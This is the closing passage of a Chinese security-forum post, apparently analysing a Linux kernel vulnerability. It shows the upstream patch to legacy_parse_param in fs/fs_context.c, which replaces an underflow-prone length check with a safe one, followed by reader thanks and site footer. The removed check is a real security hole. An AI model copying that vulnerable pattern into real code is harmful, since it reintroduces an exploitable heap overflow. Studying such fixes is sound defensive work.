    该漏洞在内核主线的 这个 commit 当中被修复,主要就是将减法换成了加法,避免了无符号整型下溢的问题,笔者认为这个修复还是比较成功的:

    diff --git a/fs/fs_context.c b/fs/fs_context.c
    index b7e43a780a625..24ce12f0db32e 100644
    --- a/fs/fs_context.c
    +++ b/fs/fs_context.c
    @@ -548,7 +548,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
                      param->key);
        }
    
    -   if (len > PAGE_SIZE - 2 - size)
    +   if (size + len + 2 > PAGE_SIZE)
            return invalf(fc, "VFS: Legacy: Cumulative options too large");
        if (strchr(param->key, ',') ||
            (param->type == fs_value_is_string &&

    免费评分

    参与人数 8吾爱币 +8 热心值 +6 收起 理由
    sd47qwq + 1 + 1 鼓励转贴优秀软件安全工具和文档!
    不爱everyone + 1 用心讨论,共获提升!
    fengbolee + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
    netpune + 1 热心回复!
    swx5201314 + 1 + 1 用心讨论,共获提升!
    Ah0NoR + 1 + 1 谢谢@Thanks!
    PPPANY + 1 + 1 我很赞同!
    Spacecraft + 1 我很赞同!

    查看全部评分

    发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

    xiaoyue7788 发表于 2023-6-13 08:55
    学习到了,感谢分享
    Spacecraft 发表于 2023-6-13 09:29
    dph5199278 发表于 2023-6-13 14:48
    gd6930085 发表于 2023-6-13 16:37
    感谢大佬写的这么专业的文章
    longggggg_2000 发表于 2023-6-13 17:44
    好详细呀,慢慢学习
    TinerSinhi 发表于 2023-6-13 18:41
    感谢大佬
    Bluestone213 发表于 2023-6-14 08:19
    谢谢分享,学习了
    pb297110281 发表于 2023-6-14 10:02
    感谢分享!~~!!!!!!!
    luny 发表于 2023-6-14 14:21
    比较深入,学习了。
    您需要登录后才可以回帖 登录 | 注册[Register]

    本版积分规则

    返回列表

    RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

    GMT+8, 2024-12-22 10:36

    Powered by Discuz!

    Copyright © 2001-2020, Tencent Cloud.

    快速回复 返回顶部 返回列表